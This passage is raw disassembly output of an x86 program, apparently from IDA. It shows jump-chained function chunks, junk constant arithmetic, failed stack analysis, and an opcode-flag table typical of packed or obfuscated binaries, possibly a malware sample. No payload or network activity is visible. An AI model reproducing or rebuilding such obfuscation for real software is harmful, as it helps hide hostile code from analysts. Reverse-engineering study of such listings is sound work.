PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424D63: ; CODE XREF: sub_42851A+3j jmp loc_428951 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424D68: ; CODE XREF: sub_424161-F65j jmp loc_426C7F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424D6D: ; CODE XREF: sub_426354-475j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_4283BF ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- pushf jmp sub_428945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424D8C: ; CODE XREF: sub_42304F:loc_426EF9j movzx eax, word ptr [eax] push offset word_423E06 jmp loc_428F45 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_424D99 proc near ; DATA XREF: sub_428CE7:loc_428E3Co ; FUNCTION CHUNK AT 00423C1A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00423EF4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424003 SIZE 00000005 BYTES push 1EC7B0C3h pop ebx sub ebx, 961ABD41h cmp ebx, 605F4E86h jmp loc_424003 sub_424D99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424DB0: ; DATA XREF: sub_4275A3:loc_425CD2o add edx, 0A38B8F95h add edx, ebp ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424DB8: ; CODE XREF: sub_4260BD:loc_426D8Cj add edx, 9FDC25DBh mov [edx], eax pop edx jmp loc_4239D3 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424DC6: ; CODE XREF: hjohnhn9:loc_4268B3j inc ds:dword_4233C4 lea eax, nullsub_118 jmp loc_425FB1 ; --------------------------------------------------------------------------- loc_424DD7: ; DATA XREF: sub_4244F5:loc_42681Do push eax push 0 push eax mov eax, ebx jmp loc_428E39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424DE2: ; CODE XREF: sub_428477-379Bj xchg edx, [esp+0Ch+var_C] mov eax, edx pop edx xor eax, ds:4000F6h and eax, 7E3752A7h xor eax, 0D8CB25EAh or eax, 0D65B20F8h jmp loc_4279E3 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_424E05: ; CODE XREF: sub_424564:loc_42456Dj mov eax, [ebp+var_4] movzx eax, byte ptr [eax] cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] loc_424E1C: ; CODE XREF: hjohnhn9:00426EA7j cmp byte ptr [eax], 0CFh jmp loc_426547 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- dword_424E24 dd 1E6E8h, 0FC08400h, 1D884h, 0E57AE900h ; DATA XREF: sub_427E7Bo db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_424E36: ; CODE XREF: sub_42392D:loc_428AE8j mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_428728 mov dword ptr [ebp-8], 1 jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_42392D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E4F proc near ; CODE XREF: sub_42392Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 004244D3 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042634F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004265B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428728 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428B82 SIZE 00000008 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al jmp loc_42634F sub_424E4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424E5D proc near ; CODE XREF: sub_4262C5:loc_423B1Fp ; hjohnhn9:00427F7Dj xchg ecx, [esp+0] pop ecx pop ebp retn sub_424E5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424E63: ; CODE XREF: sub_4262C5-2A24j ; sub_428447+4j mov eax, [ebp-4] jmp loc_424ADE ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424E6B: ; CODE XREF: sub_42851A-3B0Dj ; sub_42325E:loc_428B46j ja loc_423B46 push 0B6B4C19Fh ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_42851A loc_424E76: ; CODE XREF: sub_42851A:loc_4269E6j call sub_424877 mov edx, 95918C9Dh push ebx jmp loc_424EF1 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424E86: ; CODE XREF: sub_425BD2:loc_424AB4j mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_424E8A: ; CODE XREF: sub_424377+3j jmp loc_42777F ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424E8F: ; CODE XREF: sub_428477-4A96j jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424E94: ; CODE XREF: sub_427486:loc_4271F2j push offset loc_4266F0 loc_424E99: ; CODE XREF: sub_426A78:loc_425F15j jmp loc_4263D3 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_424E9F: ; CODE XREF: sub_42355C+2B37j jmp loc_425C40 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_424EA4 proc near ; DATA XREF: hjohnhn9:00424B26o jz nullsub_106 sub_424EA4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428183 loc_424EAA: ; CODE XREF: sub_428183-4E50j ; sub_428183+4j jns loc_42333E push eax push 0 call sub_428192 jmp loc_428B11 ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- locret_424EBD: ; CODE XREF: hjohnhn9:0042611Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_424EBE: ; CODE XREF: sub_424B97+7j jmp loc_42829E ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: hjohnhn9:004269F7j jz loc_423D7C ; =============== S U B R O U T I N E ======================================= sub_424EC9 proc near ; CODE XREF: sub_424C5F+6p ; FUNCTION CHUNK AT 004262D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427298 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427E0A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00428A28 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi push eax jmp loc_4262D5 sub_424EC9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_424ED3: ; CODE XREF: sub_427D9D+11j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al loc_424EE0: ; CODE XREF: hjohnhn9:00428DCCj call sub_42392D pop ecx shl eax, 7 mov edx, [ebp+8] loc_424EEC: ; CODE XREF: sub_424D99:loc_423EF4j jmp loc_42838D ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424EF1: ; CODE XREF: sub_42851A-3699j push 0DD8D7CECh pop ebx xor ebx, 56A764BCh and ebx, 0A66DF4EDh jnz loc_427EFB ; END OF FUNCTION CHUNK FOR sub_42851A ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F09: ; CODE XREF: sub_424631+318Fj jmp loc_427DB3 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- popf or edx, 6DDE1E3h jmp loc_424CAF ; --------------------------------------------------------------------------- loc_424F1A: ; CODE XREF: hjohnhn9:00425D22j jbe locret_426747 ; =============== S U B R O U T I N E ======================================= sub_424F20 proc near ; CODE XREF: hjohnhn9:00423DC2p xchg edx, [esp+0] pop edx or dword ptr [eax-8], 8 sub_424F20 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F28: ; CODE XREF: sub_424631-1235j ; hjohnhn9:loc_423DAFj ... jno loc_4270A1 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 loc_424F3E: ; CODE XREF: hjohnhn9:loc_426C41j jmp loc_42708C ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424F43: ; CODE XREF: sub_42304F+3C09j call sub_427792 loc_424F48: ; CODE XREF: sub_424AE3+11j jmp loc_428AA2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424F4D: ; CODE XREF: sub_424698+CBj jmp loc_4238FE ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42442F loc_424F52: ; CODE XREF: sub_42442F+Ej jmp sub_42897A ; END OF FUNCTION CHUNK FOR sub_42442F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424F57: ; CODE XREF: sub_4236A7-3E4j jmp loc_429027 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424F5C: ; CODE XREF: sub_42897B:loc_42898Aj pop esi rol esi, 0Bh add esi, 11DFE9BEh add esi, ebp add esi, 921074C9h mov [esi], eax pop esi jmp loc_424A1D ; END OF FUNCTION CHUNK FOR sub_42897B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424F76: ; CODE XREF: hjohnhn9:00424A87j ; sub_427C9B-1B1Dj push 1388h push offset loc_42766A jmp loc_426870 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424F86: ; CODE XREF: sub_424161+4473j jmp loc_423ECC ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424F8B: ; CODE XREF: sub_423F65+B33j ja loc_4289BB loc_424F91: ; CODE XREF: sub_423F65:loc_4275EEj push 0A06EE95Dh pop eax sub eax, 0DA827FA8h add eax, 4B148C18h or eax, 71537494h add eax, 3DACEB06h jmp loc_427550 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424FB4: ; CODE XREF: sub_42363F+3E60j and ebx, ecx loc_424FB6: ; CODE XREF: sub_42363F:loc_424860j call sub_424877 mov edx, 0F2B89A19h call sub_4279ED push ebx push eax pop ebx xchg ebx, [esp+8+var_8] jmp loc_4265C3 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- mov [eax], ecx sbb ecx, 0E452135Dh jmp sub_4280D2 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_424FDE: ; CODE XREF: sub_428E98-3FBj jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424FE3: ; CODE XREF: sub_423BC3+253Aj jmp loc_428C84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_424FE8: ; CODE XREF: sub_427345-3DB9j jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- push edi mov edi, ebp xchg edi, [esp] mov ebp, esp push edi mov edi, ecx xchg edi, [esp] jmp loc_4268B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_425001: ; CODE XREF: sub_424698:loc_423928j xchg ebx, [esp+0] call sub_42345B retn ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_42500A: ; CODE XREF: hjohnhn9:0042796Bj jmp loc_4232F7 ; --------------------------------------------------------------------------- push 0E0FE72Bh pop eax and eax, 9D4E0989h xor eax, 4D20C620h rol eax, 1Ch jmp loc_424B11 ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: hjohnhn9:0042622Fj ; sub_427F90+512p ; FUNCTION CHUNK AT 00423AE9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426AD1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004270BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042712D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042737B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428244 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428823 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428999 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 loc_425040: ; CODE XREF: sub_424631:loc_4249B5j ; sub_425029:loc_427135j jns loc_426AD1 jmp loc_428244 sub_425029 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dd 0FFE2D986h, 0E6D8E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_425056: ; CODE XREF: sub_4263E3+2637j jge loc_427E45 ror ebp, 1Eh cmp ecx, edx jmp loc_426C9B ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- loc_425066: ; CODE XREF: hjohnhn9:loc_4261ECj jnz loc_425CE7 jmp loc_427989 ; --------------------------------------------------------------------------- loc_425071: ; DATA XREF: hjohnhn9:loc_427775o sub eax, 0FFFFCA2Ah ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425076: ; CODE XREF: sub_427C9B:loc_424496j ; sub_423CDB+2A9Fj jmp loc_426D2F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_42507B: ; CODE XREF: sub_4279C0-1A58j jmp loc_425E85 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 88h, 6, 2Ah db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423DCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425091: ; CODE XREF: sub_42466E:loc_42384Cj push 0B0A77BC4h pop ebx or ebx, 86A635F3h cmp ebx, 0E442EBFh jmp loc_427DC7 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4250A8: ; CODE XREF: sub_4263E3+1C0Dj push ecx mov ecx, eax xchg ecx, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246DB loc_4250AF: ; CODE XREF: sub_4246DB+Dj jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_4246DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4250B4: ; CODE XREF: sub_423B05-8E1j mov eax, [ebp-8] call sub_424771 jmp loc_4263DE ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: hjohnhn9:00426DE5j xchg ebx, edi ; =============== S U B R O U T I N E ======================================= sub_4250C3 proc near ; CODE XREF: sub_423CDB+2B29p ; FUNCTION CHUNK AT 00428D2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F58 SIZE 00000014 BYTES xchg esi, [esp+0] pop esi mov [ebp-0Ch], eax jmp loc_428D2E sub_4250C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_4250CF: ; CODE XREF: sub_426211:loc_423241j jz loc_424526 ; END OF FUNCTION CHUNK FOR sub_426211 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250D5: ; CODE XREF: sub_426A78-385Bj jmp loc_428EDE ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- add ebp, 0E99035BCh xchg ebx, [ecx] mov [edx], edi jmp loc_424526 ; --------------------------------------------------------------------------- popf jmp sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250EF: ; CODE XREF: sub_426A78:loc_427707j or eax, eax jnz loc_42377B jmp loc_428994 ; END OF FUNCTION CHUNK FOR sub_426A78 ; =============== S U B R O U T I N E ======================================= sub_4250FC proc near ; DATA XREF: sub_4287BF-5122o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423114 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423361 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004234A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D11 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004268DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426912 SIZE 00000012 BYTES cmp dword ptr [ebp-8], 0 jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx push eax loc_42510D: ; CODE XREF: hjohnhn9:loc_426E86j ; sub_4287BF-157Ej mov eax, [ebp-8] cdq jmp loc_4234A7 sub_4250FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_424D3B jmp loc_427060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_425121: ; CODE XREF: sub_427D6A:loc_4231A3j xor edi, 6F7E9CD9h or edi, 0F497BCCDh add edi, 98A81ABh popf xchg edi, [esp-4+arg_0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42513C: ; CODE XREF: sub_426F5A:loc_426A0Ej jz loc_423E9B jmp loc_427B8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_425147: ; CODE XREF: sub_424335:loc_428723j call sub_4238CC loc_42514C: ; CODE XREF: sub_4260BD+1662j ; sub_4278DC:loc_428571j add ecx, 88425BFDh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425156: ; CODE XREF: sub_427852+16A3j jmp loc_427F82 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42515B: ; CODE XREF: sub_4278DC:loc_42808Fj rol eax, 0Bh push eax jmp loc_42438A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425164: ; CODE XREF: sub_424631-754j ; sub_424631:loc_428E16j or [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_42516C: ; CODE XREF: sub_424631-74Bj ; sub_424631+1FF2j cmp dword ptr [ebp-10h], 1 jnz loc_425240 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_428C44 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425187: ; CODE XREF: sub_426A78:loc_428994j jz loc_4289DD jmp loc_427CB9 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- mov [ebp-8], eax push esi push 2CB06042h pop esi xor esi, 0E83D6BF8h jmp loc_4260EA ; --------------------------------------------------------------------------- loc_4251A7: ; CODE XREF: hjohnhn9:004246D6j jl loc_428DA6 jmp loc_425B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4251B2: ; CODE XREF: sub_424161:loc_426C7Fj ; sub_424161+2B35j add eax, 14A21851h xchg eax, [esp+0] pushf push 33B0E27Ah pop eax sub eax, 0C07AC534h test eax, 800h jmp loc_42457E ; END OF FUNCTION CHUNK FOR sub_424161 ; =============== S U B R O U T I N E ======================================= sub_4251D3 proc near ; DATA XREF: sub_424354+3o var_4 = dword ptr -4 push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] mov esp, ebp pop ebp call sub_4264CF loc_4251E1: ; CODE XREF: sub_4275F9+1Bj jmp nullsub_12 sub_4251D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4251E6: ; CODE XREF: sub_4262C5-2E55j jmp sub_427F43 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= sub_4251EB proc near ; DATA XREF: hjohnhn9:0042468Eo ; FUNCTION CHUNK AT 004232D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425FDC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004283BA SIZE 00000005 BYTES xchg ecx, [esp+0] mov eax, ecx pop ecx and eax, 1FC491DEh rol eax, 5 test eax, 200000h jmp loc_4283BA sub_4251EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_425205: ; CODE XREF: sub_42325E+3B97j ja loc_42314E loc_42520B: ; CODE XREF: sub_42325E:loc_423A82j call sub_424877 mov edx, 0BB931B55h loc_425215: ; CODE XREF: sub_42363F:loc_427491j push ebx push 0DBB46803h jmp loc_427535 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_425220: ; CODE XREF: sub_423F65+7j mov eax, [ebp-4] push ebx mov ebx, eax xchg ebx, [esp+4+var_4] push eax push 0FBB90297h pop eax jmp loc_426C64 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425235: ; CODE XREF: sub_424631:loc_428C44j mov edx, [ebp+8] mov [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_425240: ; CODE XREF: sub_424631+B3Fj cmp dword ptr [ebp-10h], 2 jnz loc_424F28 mov eax, [ebp+8] jmp loc_42692F ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425252: ; CODE XREF: sub_423B05:loc_428C49j call sub_42645D loc_425257: ; DATA XREF: sub_423F77:loc_423F91o mov [ebp-4], eax mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_423BA1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- shl eax, 12h jmp sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425270: ; CODE XREF: sub_426354:loc_425E3Aj add ecx, 93576428h rol ecx, 1Eh add ecx, 0CD535342h call sub_428B28 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_426B29 loc_425284: ; CODE XREF: sub_426B29+1j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_427D8E mov eax, [ebp-4] mov [ebp-8], eax jmp loc_427D8E ; END OF FUNCTION CHUNK FOR sub_426B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4252A4: ; CODE XREF: sub_423F65+368Fj adc esi, 6C713FDFh jmp loc_424A92 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427792 loc_4252AF: ; CODE XREF: sub_427792+Bj or ecx, ecx jz loc_4273B2 push offset sub_42304F jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_427792 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] dw 2FFAh dword_4252C4 dd 0CE7006EFh ; DATA XREF: sub_427324:loc_4279D7w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4252C8: ; CODE XREF: sub_428477:loc_4287BAj jmp loc_4239D0 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- db 29h, 4Fh, 29h dword_4252D0 dd 77E75CB5h ; DATA XREF: sub_423B05:loc_423505w ; hjohnhn9:00426E1Cr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_4252D4: ; CODE XREF: sub_42873F-54E6j jmp loc_427021 ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- db 28h, 18h, 41h dword_4252DC dd 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h ; DATA XREF: hjohnhn9:004237C3r ; sub_426354-15E1r ... dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) dword_4256DC dd 2 ; DATA XREF: sub_426354-526r dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1, 66EE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425AE1: ; CODE XREF: sub_425BD2+1358j jmp loc_429008 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- dw 21B2h dword_425AE8 dd 77EB36A5h ; DATA XREF: sub_426D17:loc_4234F1w ; hjohnhn9:004237A4w dword_425AEC dd 0 ; DATA XREF: hjohnhn9:loc_424300o ; sub_427A58+7o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_425AF0: ; CODE XREF: sub_427C9B+8Fj or ecx, 4D6C3C87h jnp loc_426AD7 loc_425AFC: ; CODE XREF: sub_426D02:loc_427458j lea edx, [ebp-14h] mov eax, offset dword_428AF4 call sub_427AEB jmp loc_42451C ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425B0E: ; CODE XREF: sub_424631+3B11j jz loc_428B61 jmp loc_428BE3 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_425B19 proc near ; CODE XREF: sub_427C9B:loc_427CE0p ; FUNCTION CHUNK AT 00426A29 SIZE 00000002 BYTES push ebx push ecx call sub_426A30 